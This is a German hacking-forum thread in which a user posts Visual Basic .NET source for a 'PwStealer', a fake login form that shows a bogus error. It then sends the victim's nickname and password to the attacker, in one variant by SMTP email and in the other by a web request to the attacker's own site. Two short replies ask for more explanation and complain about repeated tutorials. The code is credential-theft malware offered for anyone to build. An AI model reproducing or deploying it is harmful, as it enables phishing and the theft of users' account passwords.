VB PwStealer [Code]

[HackTheNet]

Hey K-Script !!!

Ich wurde öfters gefragt ob ich einen FakeBot ( PwStealer) coden könnte.

Alles kein ding nur ich habe nicht die Zeit immer wieder einen zu schreiben.

Dafür habe ich euch jetzt die Codes hierrein gestellt.

Ab nun könnt ihr die selber machen.
(Falls etwas unklar ist, einfach eine PN schreiben)


1.Variante ( E-mail) :


Code:
Imports System.Net
Imports System.Net.Mail



Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
MessageBox.Show("Deine Fehlermeldung!")
Dim text As String
text = TextBox1.Text & TextBox2.Text + vblf
Dim myClient As New Net.Mail.SmtpClient("smtp.web.de")
myClient.Credentials = new NetworkCredential("Eure Emailadresse", "Euer Passwort")

myClient.Send("Eure Emailadresse 1", "Eure Emailadresse 2, an der das Passswort gesendet werden soll ", "PW-Stealer", text)

End Sub
End Class




Info:Wenn ihr es aus dieser Weise macht, werden die Daten der sich eingeloggt hat, zu euer E-mail gesendet.




2.Variante (WebSpace):


Code:

Imports System.Net
Imports System.IO

Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim add As String = "[" & TimeOfDay & "]" & "<br>" & "Nickname: " & TextBox1.Text & "<br>" & "Passwort: " & TextBox2.Text & "<br><br>"
Dim client As New Net.WebClient
client.DownloadData("Hier einfach eure Seite eintragen)
Label5.Visible = False
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
If Label5.Visible = False Then
MsgBox("Erfolgreich ausgeloggt!")
End If
If Label5.Visible = True Then
MsgBox("Überprüfen sie bitte, ob sie eingeloggt sind!")
End If
End Sub
End Class




Info: Die Daten werden zur angegebene Seite gesendet und dort gespeichert. Sobald ihr auf eure Seite geht, werden die Daten von den Usern aufgelistet.




Falls Fragen auftreten sollten, einfach eine PN schreiben.


Gruß

HackTheNetthx

[MarLoNDeRGängstaR]

Mach das mal Übersichtlicher, und erkläre was welche Zeile macht.
Gehoert zu dem WebSpace Stealer nicht noch ein php Script?


MfG

[JackThursby]

Schon wieder?
Gibt doch schon 1337x Tuts wie man das Teil in VB hinklatscht -.-"
(Sowohl hier als auch in diversen anderen K-Foren)